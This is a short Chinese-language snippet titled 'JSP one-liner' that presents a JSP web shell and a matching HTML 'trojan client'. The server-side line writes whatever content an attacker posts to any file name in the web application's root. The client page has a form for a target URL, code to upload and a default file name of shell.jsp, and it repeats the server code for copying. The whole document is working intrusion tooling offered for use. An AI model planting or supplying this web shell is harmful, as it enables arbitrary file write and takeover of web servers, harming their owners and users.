jsp一句话

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

专用JSP木马连接器

<html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名：<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> <br>服务端代码：<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> </textarea> </div></body>